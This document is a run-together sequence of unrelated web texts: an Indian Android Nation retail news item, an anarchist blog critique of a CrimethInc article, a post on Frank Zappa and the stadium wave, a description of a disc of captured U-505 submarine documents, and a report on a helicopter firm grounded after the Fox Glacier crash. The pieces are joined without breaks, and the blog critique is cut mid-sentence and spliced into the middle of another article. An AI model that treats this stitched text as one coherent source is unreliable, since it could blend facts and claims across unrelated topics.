The US company will partner BK Modi's Spice Global to set up the stores in various Indian cities, starting with New Delhi later this year.Like other such stores in Indonesia, each Android Nation store will promote and sell Android smartphones and tablets across multiple brands like Samsung, HTC, Sony, LG and Asus, to name a few.The store will also serve as an Android experience centre where customers can find out more about the latest Android apps, get help from experts, download software updates or check out the latest accessories for their devices.Importantly, India is only the second country after Indonesia to get Android Nation stores — a move that indicates how much importance Google gives to the market. The first Android Nation store opened in Jakarta, mid 2012. Google now operates two such stores in Jakarta in partnership with Indonesian electronics retailer Erafone.The first Indian store will open in New Delhi's Select Citywalk, a person with direct knowledge of the situation informed ET. Google has been scouting for a 1,200-1,500 sq ft location for this store.BK Modi, chairman of Spice, told ET that his company's partnership with Google is not just restricted to India — Spice Global will also push Android devices in the Middle East, Malaysia, Thailand, Indonesia and Africa.He said Google was also supporting Spice Global in bringing China's third largest smartphone brand CoolPad, to India — Spice CoolPad co-branded products will also be sold through Android Nation.Spice Global currently operates around 900 Spice Hotspots that sells various mobile phone brands and accessories. After the opening of the first Android Nation store, they plan to convert about 50 of the Hotspots into Android Nation stores to enable rapid expansion of the franchise."We will focus on 3G phones and phase out 2G gradually," he said. Modi's son Dilip Modi will spearhead Android Nation in India."Google feels that many potential customers need to get hands-on experience with its products before they are willing to purchase," technology blog 9to5Google said while breaking the story on Google's possible foray into retailing."Google competitors Apple and Microsoft both have retail outlets where customers can try before they buy, so it won't be an entirely new area," it added.Cautiously Pessimistic blog analyses and critiques Crimethinc's piece on the UK anti-austerity movement, the Wisconsin uprising and the Egyptian revolt.
CrimethInc are probably one of the world’s best-known anarchist collectives. They’re controversial, but they get a lot of attention: certainly, the airport security staff who recently detained a passenger for having CrimethInc posters in his bag thought they’re worth taking seriously. And, while some of their earlier material has contained really embarrassing stuff, such as attempting to pass off the proto-Fascist state of Fiume as an anarchist utopia, a lot of what they’ve written lately has been really good: for instance, their “Dear Occupiers” letter was a serious attempt to engage with the politics of a mass movement and move it in an anti-capitalist direction. I didn’t entirely agree with all of the tone and emphasis, but the basic content was totally sound. So, I’d say their new article “Nightmares of Capitalism, Pipe Dreams of Democracy”, which is a big overview of various struggles in 2010-2011, is definitely worth a read. It’s a serious attempt by anarchists to think through some of the key events of the last two years and draw strategic lessons from them, which is a project I definitely approve of. But, for all that, I can’t recommend it whole-heartedly: it contains some quite serious distortions of the last few years, so I think it’s worth going through it to see where CrimethInc’s account parts company with reality. Of course, it’s also certainly the case that my criticism of their article isn’t coming from any kind of objective position, and will contain all sorts of errors of my own: this isn’t trying to set the record straight in favour of the Truth with a capital T, but just to add a voice to the conversation.
Is the end nigh?
My differences with CrimethInc’s perspective start right in the introduction, where they assert that this crisis is the big one, that capitalism is failing, that:
“this isn’t just a hiccup… but a structural breakdown… a system that never worked for us is on the verge of ceasing to work at all… If capitalism is doomed, we need something altogether different.”
They qualify this by adding that “Capitalism won’t crumble overnight… its demise could take generations”, but overall their perspective seems to suggest that this crisis is so big and serious that there’s no chance of meaningful reforms to restore capitalism to normal functioning. This crisis is undoubtedly very big and very serious, and the idea that capitalism is doomed certainly appeals to me, but there’ve been very big and very serious crises before, and capitalism’s recovered from them just fine. Two recent pieces by Juan Conatz and Nate Hawthorne have raised the question of whether reform is possible, and at the moment I’m leaning towards thinking that it is. If it’s possible that capitalism could manage to patch itself up sometime soon, an analysis based on the idea that the system “is on the verge of ceasing to work at all” would leave us seriously confused and on the back foot when the crisis is over.
Misrepresenting Millbank?
On the whole, I don’t have a real problem with anything they wrote about 2010 – I’m not an expert on the US student protests of early 2010, or the May Day actions that year, and the conclusions they draw about them seem quite sound – but the way they use the Millbank protests to make a passing swipe at organised anarchists is quite questionable. To say that the student movement, and the attack on Millbank in particular, was largely spontaneous and not the result of some expert organiser’s strategic masterplan, is an important and legitimate point to make, and one I wrote about at the time. But CrimethInc choose to put it as:
“While individual anarchists were among the first into the building, none of the organized anarchist groups in the UK turned out in great numbers”.
In effect, this isn’t making the straightforward and valid point that long-term political activists, even those with an anarchist analysis, didn’t play that much of a role; it’s making the more contradictory case that activists didn’t play that much of a role, but if they did do anything important, then it was definitely because of the good individual anarchists, not the useless organised anarchists. There’s certainly some truth in the statement that the organised anarchist groups didn’t have great numbers of people there, especially since the organised anarchist groups don’t really have a great number of members full stop, and you could probably write a fairly accurate history of the UK student movement without mentioning them; but to take the time to criticise their absence, while ignoring the fact that they’d organised the Radical Workers’ and Students’ Bloc on the day, and were subsequently attacked in the mainstream media as being responsible for the violence, seems a bit odd. In fact, it’s reminiscent of the faintly embarrassing interview they did nearer the time, when they tried to get participants in the movement to say that they’d “rejected… “professional” anarchist groups like the Anarchist Federation or Solfed”, only to be told that:
“I do not feel they have been rejected by the movement… From my experience working with these groups a little over the last few weeks, they have usually avoided putting their name to anything and instead focused on issues and activities that… in no way conflict with the general feeling of the movement. For example, encouraging direct action, the use of face masks, engaging and networking with college and school students as well as worker movements, and occasionally offering up an alternative analysis of the cuts and the struggle so far.”
Egypt was (more than just) a riot
CrimethInc’s coverage of 2010 in general seems fairly honest, and their discussion of online struggles over information is perfectly accurate, at least from this non-expert’s perspective; but their discussion of Egypt has some very serious problems. In a nutshell, the standard liberal history of the Egyptian uprising talks a lot about the role of square occupations and peaceful civil disobedience, while CrimethInc’s analysis broadens things out to include violent protests and riots, but both of them completely obscure the role played by workplace struggle in the downfall of the regime. The first bizarre statement they make about Egypt is that the revolt “spread to all social classes” – this has some truth to it, but the fact that the generals and other senior figures from the old regime were able to portray themselves as being on the side of the revolt, and so preserve their privileged positions, is surely something anarchists should be criticising, not blandly celebrating. The passing mention of how in the US “Facebook is not usually used to coordinate insurrections but as a space for atomized individuals to compete for social capital” is also somewhat problematic, as it seems like another example of the nastily elitist tendency among activists to sneer at anything non-activists enjoy doing with their spare time; “a space for atomized individuals to compete for social capital” is one way of putting it, “a space for people to have conversations with their friends” would be an equally accurate description, or if you wanted to be provocative you could describe it as a way for people to subvert the wage-labour relationship by spending their work time on unproductive and unprofitable activity, and argue that the use of social networking sites is a covert form of direct action enabling workers to inflict huge amounts of damage to the economy every year.
However, both these points are somewhat marginal to CrimethInc’s main argument, while their dismissal of the Egyptian strikewave cuts to the heart of both why I think CrimethInc are important and why they’re flawed. Like me, CrimethInc are dedicated to the destruction of alienated work, and, unlike the Marxist groups that have a vague commitment to abolishing wage labour in the distant future, but remain committed to productivity and the right to work here and now, they see the struggle against work as an urgent priority for the present. But, crucially, they’re still influenced by their subcultural roots, where resistance to work is equated with dropping out, and so they don’t give events within the workplace the significance they deserve: their attitude to workers fighting back within the workplace is the same sort of vaguely friendly indifference with which many socialists view any issue outside the workplace. So, their take on the huge strike wave that made the fall of Mubarak possible is just to say that “Although the North African upheavals involved labor unrest, they started outside the workplace and remained focused on public spaces like Cairo’s Tahrir Square”, swiftly followed by a reference to “the subcultural strategies that followed” the old workers’ movement, as if gigs and zines were in any way comparable to mass strikes. They say that “In the era of precarity… it makes sense for the factory occupations of 1968 to be replaced with the seizure of public space”, which misses the point that any successful movement against this society will need to feature both, and that workplace occupations are indeed still going on today, and also manages to obscure the distinction between authoritarian regimes, which are based on a repressive strategy banning any public display of dissent, and liberal regimes, which are based on an ideology of democracy and tolerance and so often positively welcome public displays of dissent.
This string of deeply confused statements then continues with the assertion that “police are to the unemployed what bosses are to workers”, which is just untrue: perhaps, for many unemployed people, especially those from ethnic minorities, but also those who shoplift or are otherwise involved in the black market, the police may be their most obvious and visible enemies, but there is no common experience of the police across everyone who’s unemployed that can be compared to the way that almost all workers get bossed around by managers. For the unemployed, the closest equivalent to bosses are in fact the staff who administer the welfare system and can decide to “fire” claimants from their benefits, thus cutting them off from the money they need to live. But it still wouldn’t be enough to just say that “jobcentre staff are to the unemployed what bosses are to workers”, since there has been some joint action between the unemployed and militant jobcentre staff in a way that would be impossible, or at least very problematic, if it happened between workers and bosses. In short, saying the relationship between the unemployed and the police is the same as that between workers and bosses is as useless as saying that cisgendered people are to trans people what white people are to black people; all power relationships are different, and need to be understood in their own right, making simplistic parallels doesn’t actually help to explain anything.
Invisible Workers of the World
CrimethInc’s hostility to organised anarchists and their reluctance to acknowledge workplace struggle combine to make their discussion of Wisconsin one of the weakest parts of the piece. They declare that “anarchists and fellow travelers occupied a university building in Milwaukee in an attempt to spread the unrest; rumors circulated about a general strike”, which is certainly one way of putting it. Another way of putting it might be to suggest that, rather than rumours about a general strike just circulating out of thin air, they might have had something to do with the huge push for a general strike made by the Industrial Workers of the World, including the IWW dual-carders who made two proposals to the South-Central Federation of Labor:
“first, to endorse a general strike and create an ad-hoc ‘Education Committee’ which could instruct affiliated locals on how they could “prepare for a general strike”; and second, to officially oppose all of the cuts that were contained in Walker’s bill. These proposals passed nearly unanimously.”
The IWW’s intervention has been described as:
“what is likely the largest, most concerted, and most successful intervention in a working-class struggle that the IWW has undertaken since the working-class ferment of the 1930s, at least. From mid-February to mid-March, the idea of a general strike was ever-present, such that nearly everyone in Wisconsin had to form an opinion on whether it would be feasible, successful, or justified. Even in many other parts of the country, from New York to California, the notion of a general strike became a legitimate topic for debate outside of the leftist milieu. It is very doubtful whether this would have happened without the activity of the IWW. IWW members from across the union coordinated their activity, and as a result the organization had an impact in the overall mood of the working-class greater than anything in decades.”
Rather than acknowledge that an organisation with many anarchists in its membership intervened in a mass movement to push its politics in a radical direction, CrimethInc just assert that:
“Anarchists of a more insurrectionist bent gravitated to the occupation in Milwaukee, which failed to pick up steam, while anarchists in Madison largely focused on providing infrastructure”, and complain that anarchists in Wisconsin were just “looking on from the margins”.
Since the CrimethInc ideology has decided that formal organisations are useless and workplace struggles are irrelevant compared to seizures of public space, a movement towards a general strike is seen as hardly worth discussing, and if there is anything important about it, it must have arisen spontaneously, so the activity of IWW members isn’t even worth mentioning. For a collective supposedly dedicated to opposing ideology, CrimethInc find it very difficult dealing with events that don’t fit neatly into their worldview.
Just to clarify: I’m not a member of the IWW, and I don’t have any special love for them. I think they do some useful things at the moment, but I also think that, like any other organisation, it’s very possible that at some point they’ll run up against internal limits that make them into a barrier to useful activity, and when that day comes its members should abandon it ruthlessly and unsentimentally. But that’s talking about some hypothetical future date: here and now, I think anarchists in the IWW are doing useful things, so I find it really weird that CrimethInc are so resistant to acknowledging they were present in Wisconsin, especially considering their strong focus on anarchist activity throughout this piece.
An immaculate riot?
The deeply flawed discussion of Wisconsin is followed by a totally unobjectionable piece on the European plaza occupations over the summer, and then a rather one-sided take on the August riots. CrimethInc set themselves the task of identifying the limitations of recent revolts so as to push further next time, and certainly aren’t shy of making criticisms in general, but can’t quite bring themselves to say straight out that anything the rioters did was problematic. North London SolFed’s recognition that “we cannot condone attacks on working people, on the innocent. Burning out shops with homes above them, people’s transport to work, muggings and the like are an attack on our own and should be resisted” is entirely absent from CrimethInc’s piece, which notes in calm, neutral terms that “Five more people lost their lives in the disorder” before moving on to bemoan “how many people identified with the corporate media narrative demonizing the rioters”. I agree entirely that any future revolt must involve “common cause between rioters and other |
ival, Big Mama Thornton, Iron Butterfly, Three Dog Night, and the very last performance of the Jimi Hendrix Experience. Hendrix even performed the “Star Spangled Banner” at the Denver Pop Festival, an event that would soon be obscured by the peace & love behemoth that was Woodstock just two months later. Unlike Woodstock, however, unruly attendees and gatecrashers were tear-gassed during Hendrix’s set, causing disturbance to those in the grandstands.
Frank Zappa and the Mothers of Invention played before Iron Butterfly on the first day of the festival. Their set contained a whimsical array of classic Mothers numbers including “Hungry Freaks Daddy,” “The String Quartet,” and “A Pound for a Brown on the Bus.” The last song of the performance was more of an improvisation, wherein Zappa attempts a stunt that he refers to as “Teenage Stereo.” Playing conductor to an audience of 50,000, Zappa calls on successive sections of the crowd to make gestures and odd noises (such as clapping and vomiting sounds) when pointed at. The sound travels throughout the stadium in a metachronal rhythm, thereby demonstrating this new human instrument “in stereo.” What Zappa hadn’t realized, however, was that his playful experiment would eventually become a sports fan phenomena that continues to make “waves” to this day.
Despite there being scarcely any documentation of the Denver Pop Festival online, I was able to dig up a bootleg live recording of the entire Mothers of Invention set. The final track “FZ Conducts the Audience” makes it very clear that Zappa was the mastermind who first organized the Wave in a stadium setting. Sorry Krazy George.
Listen to Zappa’s “Teenage Stereo” and the Mothers of Invention’s entire set from the Denver Pop Festival below:
FZ Conducts the Audience
Frank Zappa and the Mothers of Invention at the Denver Pop Festival (6/27/69)
News Report on Krazy George
Previously on Dangerous Minds:
Freak Out: Over 20 minutes of Frank Zappa & The (original) Mothers Of Invention, live, 1968
‘Metal Man Has Won His Wings’: Captain Beefheart and Frank Zappa’s early ‘60s R&B band, the Soots
Interstellar Zappadrive: When Frank Zappa jammed with Pink FloydWorld War II
German U-Boat Documents, Manuals, Diaries
375 pages of documents and their translations captured from German Unterseeboot 505 (U-505), copied from material held at the United States Navy Department Library.
The disc contains 200 pages of images of documents, from and covering German U-boats and 175 pages of English translations of the German language documents.
On 4 June 1944, a hunter-killer group of the United States Navy captured the German submarine U-505. When United States Navy Task Group 22.3 (TG 22.3) captured the U-505, it was the first time a U.S. Navy vessel had captured an enemy at sea since 1815, when the USS Peacock seized the HMS Nautilus during the War of 1812. The action took place in the Atlantic Ocean, in Latitude 21-30N, Longitude 19-20W, about 150 miles off the coast of Rio De Oro, Africa. The American force was commanded by Captain Daniel V. Gallery, and was comprised of the escort Carrier Guadalcanal (CVE-60) and five escort vessels under Commander Frederick S. Hall: Pillsbury (DE-133) Pope (DE-134), Flaherty (DE-135), Chatelain (DE-149), and Jenks (DE-665).
Alerted by American cryptanalysts, who, along with the British, had been decrypting the German naval code, the Guadalcanal task group knew U-boats were operating off the African coast near Cape Verde. They did not know the precise location, however, because the exact coordinates (latitude and longitude) in the messages were encoded separately before being enciphered for transmission. By adding this regional information together with high-frequency direction finding fixes (HF/DF), which tracked U-boats by radio transmissions, and air and surface reconnaissance, the Allies could narrow down a U-boat's location to a small area. The Guadalcanal task group intended to use all these methods to find and capture the next U-boat they encountered through the use of trained boarding parties.
The task group sailed from Norfolk, Virginia, on 15 May 1944 for an anti-submarine patrol near the Canary Islands. For two weeks they searched unsuccessfully, even steaming as far south as Freetown, Sierra Leone, in a vain effort to locate a U-boat. On Sunday, 4 June 1944, with fuel running low, the warships reluctantly turned north and headed for Casablanca. Ironically, not ten minutes later, at 1109 that morning, USS Chatelain (DE-149), Lieutenant Commander Dudley S. Knox, USNR, made sonar contact on an object just 800 yards away on her starboard bow. Guadalcanal immediately swung clear at top speed, desperately trying to avoid getting in the way, as Chatelain and the other escorts closed the position.
In the minutes required to identify the contact definitely as a submarine, however, Chatelain closed too rapidly and could not attack, as her depth charges would not sink fast enough to intercept the U-boat. The escort held her fire instead, opened range and setup a deliberate attack with her "hedgehog" (ahead-thrown depth charges which explode on contact only) battery. Regaining sonar contact after a momentary loss due to the short range, Chatelain passed beyond the submarine and swung around toward it to make a second attack with depth charges.
As the ship heeled over in her tight turn, one of two General Motors FM-2 "Wildcat" fighter planes launched overhead by the Guadalcanal, sighted the submerged U-boat and dived on it, firing into the water to mark the submarine's position. Chatelain steadied up on her sound bearing and moved in for the kill. A full pattern of depth charges set for a shallow target splashed into the water around the U-boat. As their detonations threw geysers of spray into the air, a large oil slick spread on the water; the fighter plane overhead radioed "You struck oil! Sub is surfacing!" Just six and one-half minutes after Chatelain's first attack, U-505 broke the surface with its rudder jammed, lights and electrical machinery out, and water coming in.
As the submarine broached only 700 yards from the Chatelain, the escort opened fire with all automatic weapons that would bear and sweep the U-boat's decks. Pillsbury, Lieutenant George W. Casselman, USNR, and Jenks, Lieutenant Commander Julius F. Way, farther away, and the two "Wildcats" overhead all joined the shooting and added to the intense barrage. Wounded in the torrent of fire and believing that his submarine had been mortally damaged by Chatelain's depth charges, the commanding officer of U-505 quickly ordered his crew to abandon ship. So quickly was this command obeyed, that scuttling measures were left incomplete and the submarine's engines continued to run.
The jammed rudder caused the partially-submerged U-505 to circle to the right at a speed near seven knots. Seeing the U-boat turning toward him, the commanding officer of Chatelain ordered a single torpedo fired at the submarine in order to forestall what appeared to be a similar attack on him. The torpedo passed ahead of U-505, which by now appeared to be completely abandoned. About two minutes later, the escort division commander ordered cease fire and called on Pillsbury's boarding party.
While Chatelain and Jenks picked up survivors, Pillsbury sent its motor whaleboat to the circling submarine where Lieutenant (junior grade) Albert L. David, USN, led the eight-man party on board. Despite the probability of U-505 sinking or blowing up at any minute and not knowing what form of resistance they might meet below, David and his men clambered up the conning tower and then down the hatches into the boat itself. After a quick examination proved the U-boat was completely deserted (except for one dead man on deck - the only fatality of the action), the boarders set about bundling up charts, code books, and papers, disconnecting demolition charges, closing valves, and plugging leaks. By the time the flood of water had been stopped, the U-boat was low in the water and down by the stern.
Meanwhile, Pillsbury twice went alongside the turning submarine to put over tow lines and each time the escort's side was pierced by the U-boats' bow plane. Finally, with three compartments flooded, the Pillsbury was forced to haul clear to attend to her own damage. The boarding party was then reinforced by a party from the Guadalcanal. Led by Commander Earl Trosino, USNR, the carrier's men completed temporary salvage measures, and took a towline from the Guadalcanal. The salvage crew was later joined by Commander Colby G. Rucker, who arrived with the seaplane tender Humbolt (AVP-21).
In an ingenious solution to the heavy flooding, the salvage crew disconnected the boat's diesels from her motors. This allowed the propellers to turn the shafts while under tow. After setting the main switches to charge the batteries, Guadalcanal towed the U-boat at high speed, turning the electric motors, which recharged the boat's batteries. With power restored, the salvage crew could use the U-boat's own pumps and air compressors to finish pumping out seawater and bring her up to full surface trim.
After three days of towing, Guadalcanal was relieved of her burden by the fleet tug Abnaki (ATF-96). Arriving with the tug was the tanker Kennebec (AO-36), sent to provide much-needed fuel to the hunter-killer group. On Monday, 19 June 1944, U-505 was brought into Port Royal Bay, Bermuda, after a tow of 1,700 miles.
Fifty-eight prisoners had been taken from the water during the action. One man had been killed and three (the commanding officer, executive officer, and one enlisted man of the U-boat) wounded. The crew members of the U-505 were interned in a special isolated prison camp near Ruston, Louisiana. The taking of the U-boat and the codebooks meant giving the seizure top secret status. The POW's were kept from other POWs and their capture was kept secret. Their status was not reported to the Red Cross. The German Navy assumed the ship was lost and reported the deaths of the crewmembers to their families.
For his part in saving the abandoned submarine, Lieutenant (jg) David was awarded the Medal of Honor; Torpedoman's Mate Third Class A. Knispel and Radioman Second Class S. E. Wdowiak, each received the Navy Cross; and Commander Trosino received the Legion of Merit. The task group itself was awarded the Presidential Unit citation, in part because of the unique and difficult feat of boarding and capturing an enemy warship on the high-seas, something the U.S. Navy had not accomplished since the 19th-century.
More significantly, however, was the capture of codebooks on U-505. The capture of codebooks on U-505 allowed Allied cryptanalysts to break the special "coordinate" code in enciphered German messages and determine more precise locations for U-boat operating areas. In addition to directing hunter-killer task groups to these locations, these coordinates enabled Allied convoy commanders to route shipping away from known U-boat locations, greatly inhibiting the effectiveness of German submarine patrols. The material captured from U-505 arrived at Bletchley Park on 20 June 1944. In addition to the coordinate code, captured were the regular and Offizier settings for June 1944, the current short weather codebook, and the short signal codebook and bigram tables due to come into effect in July and August respectively.
The U-505 is a German World War II type IXC submarine built by Deutsche Werft in Hamburg, Germany, in 1940. She was commissioned into the German Navy on August 26, 1941, and served on various wartime patrols until her capture by the American Navy on June 4, 1944.
The type IXC submarine was powered by diesel electric engines and designed for oceanic cruising ranges. Although larger than the much employed type VII sub marine, the type IXC was not a better sea boat and in any heavy sea the conning tower was usually drenched. On long missions the interior was packed heavily with provisions and crew spaces remained as cramped as in smaller German sub marines. Although U-505 is a pre-snorkel submarine, later versions of this type were fitted with the air-breathing snorkel to enable them to operate their diesels underwater.
Her keel was laid down June 12, 1940, by Deutsche Werft AG of Hamburg. She was launched on 25 May 1941, and commissioned on 26 August 1941, with Kapitänleutnant Axel-Olaf Loewe in command. On 6 September 1942, Loewe was relieved by Kptlt. Peter Zschech. On 24 October 1943, Oberleutnant zur See Paul Meyer found himself in command for about two weeks until he was relieved on 8 November by Oblt. Harald Lange. Lange commanded the boat until its capture on 4 June 1944.
U-505 conducted twelve patrols, sinking eight ships totaling of 44,962 tons, three American, two British, and one each Norwegian, Netherlands, and Colombian.
As the U.S. Navy was far more interested in the advanced engineering design of fast underwater U-boats, such as the streamlined German Type XXI and XXIII submarines, rather than the familiar fleet-boat types illustrated by the U-505, the captured submarine was investigated by Navy intelligence and engineering officers during 1945 and then promptly slated for disposal. The intention was to use the hulk for gunnery and torpedo target practice.
In 1946, however, Father John Gallery learned of this plan from his brother (then Admiral Daniel Gallery) and called the Chicago Museum of Science and Industry (MSI) President Lenox Lohr to see if MSI would have an interest in saving U-505. The museum, established by Chicago businessman Julius Rosenwald as a center for "industrial enlightenment" and public science education. The people of Chicago raised $250,000 to help prepare the boat for the tow and installation at the museum. In September 1954, U-505 was donated to Chicago at no cost to the U.S. Government. On September 25, 1954 U-505 was dedicated as a war memorial and as a permanent exhibit. In 1989, the U-505, as the only Type IX-C boat still in existence, was designated a National Historic Landmark.
DOCUMENTS ON THE DISC INCLUDE:
GOTTFRIED FISCHER U-505 DIARY
The author of this document is most likely Oberfunkmaat (Signalman First Class) Gottfried Fischer, the only U-505 sailor killed during the battle leading to the capture of the submarine. This identification is based upon an entry of 7 May 1944, in which the author refers to himself as the leading radio man (see diary page 10). At that time, the leading radio man aboard U-505 was Fischer. Identification of the probable author was made by Dave Kohnen who is the U-505 Exhibit Developer at the Museum of Science and Industry, Chicago, Illinois.
The diary gives accounts of life onboard a German U-boat. Entries include personal data, listing of crew members, information about the food aboard, living conditions, and thoughts about family in Germany. The diary includes a chronological personal narrative from the end of March to Sunday, 4 June 1944. One entry mentions the heat on the boat, "30 April 1944 The heat is so unbearable that I'm not really in the mood to write anything. I avoid all unnecessary movement within the boat."
GUIDE FOR U-BOAT OFFICERS CONCERNING NEW U-BOAT ORDERS FOR THE FRONTLINE
A 32-page manual covering German submarine crew training during construction, outfitting, and commissioning of U-boats, captured on the U-505. Topics covered include: U-boats, New Construction Orders, Equipping, Commissioning, UAC [U-boat Acceptance Commission] - Test Run, U-Training Flotilla, Tactical Front Training Flotilla, and Communications Intelligence Groups.
GERMAN SUBMARINE U-505 RADIO DOCUMENTS
These documents are from a folder captured on German submarine U-505. The folder contains loosely arranged, typed documents, concerning radio frequencies and radio equipment used by the German Navy (Kriegsmarine). The documents are marked with the letters FT in pencil, which means, Funken-Telegraphie, Wireless Telegraphy, or WT (radio). Many of the documents are on small strips and pieces of paper originally attached to the folder. The documents cover operations from 8 January 1944 to 18 February 1944.
GERMAN SUBMARINE ENGINEERING DIAIRIES
57 pages of German Submarine Engineering Diaries from other U-boats. Since these reports were captured on the U-505, presumably they were reproduced and distributed among submarines in the U-boat flotilla. Experiences and lessons learned by individual submarines would thus be shared among vessels in the flotilla.
Diaries include:
The War Diary of U-138 from 8 October 1940 to 14 November 1940. During this patrol, the U-138 was commanded by Wolfgang Luth, one of the most successful and highly decorated U-boat commanders of the war.
Engineering Section War Diary reports from U-106, covering the period 21 0ctober 1941 to 29 July 1942, when the submarine was commanded by Captain Lieutenant Hermann Rasch. At that time, U-106, like U-505, was based at the German Navy Yard Lorient, France, and was part of the 2nd U-boat Flotilla, composed of approximately 91 submarines.
Engineering Section War Diary reports from German Submarine U-107, covering 24 January 1941 to 26 May 1943.
U-505 RED NOTEBOOK
A notebook probably maintained by a Maschinenobergefreiter (Germany Navy machinist). Contains notations about provisions, ship bearings, pneumonia prescriptions, a poem, and
hangman games.
WEHRMACHT GERMAN ARMED FORCES REPORTS
14 excerperts from Wehrmacht [German Armed Forces] Reports Captured on U-505, dating from April 7 to April 30, 1944. The excerpts give brief Wehrmacht accounts of events of the war.
MISCELLANEOUS DOCUMENTS
List of orders for commanders returning to port. A chart depicting the course of movement during an attack by the submarine and an opposing vessel. A list of other German submarines and their respective commanders and radio men. Some of the boats have been marked as obviously lost at sea. A letter found onboard the U-505 reflecting on the meaning of the Iron Cross. On the backside, it bears a postal address from Seebad Ahlbeck, a coastal resort town on the German Baltic Coat.
PAGE FROM GOTTFRIED FISCHER U-505 DIARY
Page 6 - 14th day It is fourteen days today that we departed from the base. Throughout the entire period we have seen neither the sky nor the sun. The days go by slowly. We have finally crossed the dangerous area of maximum air threat - the Bay of Biscay. Hence was our transit: we hardly had time to breathe some fresh air and charge our batteries, and down below we went again. For the past 3 days we have been experiencing rough seas, sea state 3-6, high swell and wind. The crockery is flying all around the inside of the boat, and an escape breathing apparatus
WEHRMACHT GERMAN ARMED FORCES REPORT FROM 28 APRIL 1944
Twenty-one enemy aircraft were destroyed in the skies of the Western areas last night. German fast-patrol boat groups sunk three ships with 9.100 tons on the morning of the 28th off the coast of Southern England. Torpedoes were launched against one destroyer and another vessel of 200 tons which must be assumed sunk. In the aftermath of a meeting with the Führer [Adolf Hitler], the Duce [Benito Mussolini] visited one of the newly formed Italian divisions. Under German supervision, these divisions will be equipped taking into account the most recent experiences. In the far North, several strong artillery advancements by the enemy were thrown back with high losses for the Soviets.
COVER GUIDE FOR U-BOAT OFFICERS CONCERNING NEW U-BOAT ORDERS FOR THE FRONTLINE
DWF 505 Entered in
In the [?] Register of Publications
Under serial number 200
Construction Training U-Boats
Germania Yard, Hamburg
Secret
Guide for U-Boat Officers Concerning New U-Boat Orders for the Frontline.
Contents:
A. U-boats, New Construction Orders, Equipping, Commissioning.
B. UAC [U-boat Acceptance Commission] - Test Run.
C. U-Training Flotilla.
D. Tactical Front Training Flotilla.
E. Communications Intelligence Groups
PAGE FROM GERMAN SUBMARINE U-107 ENGINEERING SECTION DIARY OPERATIONS FROM 24 JANUARY TO 1 MARCH 1941
-3-
-278-
Additionally A 12.: 6 February. While heading into an underwater attack, the
fixed eye level periscope was locked into the cruise at surface position by an
oil leak of 65 ATU [Pressure above Atmospheric]. Cause unknown. With the
increasing oil leak the periscope continued to maneuver. Investigation at the
yard is essential.
Additionally A 13.: 6 February. Steering switch for the observation periscope
cut. The fatigued return stage spring was replaced, the switch was cleaned. Time
2 hours.
Additionally A 14.: All of the onboard valves were blown at the yard during
repairs, so as to maintain them leak free from the beginning of the job, so that
the blowing connections are always under pressure during each individual dive.
Additionally A 15.: 20 February. The pressure at stage 3 of the Electric
Compressor climbed to 60 ATU [Pressure above Atmospheric]. Further obstructions
were removed from the pressure valves at stage 4. After replacement work the
compressor operated normally.
Additionally A 16.: On 24 February. Following a surface attack on a steamer, the
coup de grace should be given while submerged. During the dive the boat listed
inexplicably to the stern. Trimming with air pumps forward was not desirable,
with "all hands forward" [order for the crew to rush to the bow of the boat] the
listing towards the stern passed. After breaking the surface, it was established
that the trim switch was loosened from the trim controls following a break in
the spindle security plate. From this point on the switch was set in the lower
position (to trim from bow to stern). On course for a night attack, the order
should be issued for trim water to be shifted to no 3 bow, for flooding in a
stern tube and flooding in a bow tube, altogether over 1000 liters were shifted
to trim the bow, a great amount, due to the break down of the trim control. The
stern was trimmed. By greater attention to the trim control, the correct
external trim setting was made with respect to the trim switch, and with
knowledge of the correct trim timing. Removal of the obstruction took 45 minutes.
B.)
a.: First diesel- mate 3 weeks inactive due to respiratory infection,
otherwise nothing to report.
b.: 1. Port engine running uneasily since the last yard time, especially
at the lower rpm's (n = 160…. 20). Oscillation measurement required.
2. The reduction of the receiving time for the radio receiver
installed by the Yard at Wilhelmshaven proved it could stand the test. Steam
production no longer occurs. Assuming no leaning in the boat occurs, a radio
message will not be sent, but leaning should be avoidable through flooding in
the diving cells 2 and 3.
3. The sound damping in the negative buoyancy air tanks is very good.
Available diving depth T = 60 meters.
c.) See installment.
The Chief Engineer
Signed: Engler
Lt.Cdr. (Eng.)
Files contains a text transcript of all recognizable text embedded into the graphic image of each page of each document, creating a searchable finding aid.The wreckage of a helicopter that crashed and killed all seven people on board is seen in a crevasse on Fox Glacier.
The South Island helicopter firm involved in a crash at Fox Glacier that killed seven people has been grounded over safety concerns six months later.
The Civil Aviation Authority suspended the Air Operating Certificate (AOC) of James Patrick Scott, whose company, Alpine Adventures, has operated flights in Fox Glacier, Franz Josef, and Tekapo.
Civil Aviation Authority (CAA) director Graeme Harris confirmed the suspension while the CAA investigated concerns about the safety of the operation.
SUPPLIED Mitch Gameren died along with six tourists in a helicopter crash on Fox Glacier in 2015.
All 15 of the company's helicopters were grounded after flights were suspended on Friday night.
Harris said the suspension action was taken in the public interest while his doubts about the safety of the operation were resolved.
"The action taken did not in any way pre-determine the outcome of the investigation to be carried out," he said.
READ MORE:
* Cause of fatal crash unclear
* Glacier helicopter flights busy despite crash
* Fox Glacier helicopter wreck parts retrieved
The November 2015 crash killed 28-year-old Kiwi pilot Mitch Gameren and six tourists: Andrew Virco of Cambridge in England, 50, Katharine Walker of Cambridge in England, 51, Nigel Edwin Charlton of Hampshire, 66, Cynthia Charlton of Hampshire, 70, Sovannmony Leang of New South Wales, 27, and Josephine Gibson of New South Wales, 29.
Gameren's mother, Adrienne Bray, said she was surprised to hear the company's licence had been suspended.
"We haven't heard anything for months except when they got more parts of the helicopter off the mountain. We've been told we won't have any answers until May next year," she said.
She said Gameren's father had sent letters to the families of the tourists who had died.
Scott operated under trading names Fox & Franz Heliservices, Tekapo Helicopters, and Makarora Helicopters.
Alpine Adventures organisational systems manager Barry Waterland said the CAA suspended the licence at 4.30pm on Friday.
"It did come as a shock to us. At this stage the suspension is for 10 working days but we are working with the CAA to endeavour to bring that forward if possible," he said.
"We have got to work through a number of areas that they have looked at for us to enable us to carry on. We are working now to get everything in order to get our certificate back again."
He declined to say which areas were being looked at.
"Part of it is related to the accident on the glacier and the high profile investigation and audits looking at us," he said.
Another helicopter company in the area was taking tourists who had bookings on flights.
Alpine Adventures website said the company employed nine pilots and up to 17 ground crew, office staff and management.
Managing director Scott had over 30 years of experience operating helicopters, and the company was a member of the Aviation Industry Association and the Mt Cook & Westland National Parks User Aviation Group.
The company's Squirrel helicopter was on a tourist flight when it crashed into a crevassed area of the 13 kilometre-long glacier.
